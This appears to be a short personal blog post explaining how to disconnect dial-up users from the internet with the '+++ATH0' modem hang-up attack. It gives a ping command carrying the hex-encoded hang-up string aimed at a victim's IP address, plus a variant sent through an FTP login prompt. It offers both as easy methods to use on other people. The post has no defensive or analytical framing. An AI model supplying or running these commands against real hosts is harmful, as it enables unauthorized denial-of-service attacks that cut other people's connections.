How to disconnect people use dialup connection (---ath0)

I am not a hacker, I am not a cracker
I am just human that always forget what all I have done
So, why I create this blog,
this blog for I remember what I have done

This time tutorial abount hacking, exploitation +++ath0
When people use dial-up, U have to now their/she/he IP Address
then u disconnect them use ping command:

ping -p 2b2b2b415448300d 'their IP Address'

When they use ftp application, u can run:

c:\>ftp 'their IP Address'
connected to 'theri IP Address' 220
inetd Microsoft FTP Service(Version 3.0)
User(.....) : user +++ath0 Connection lost

'yeah it's easy'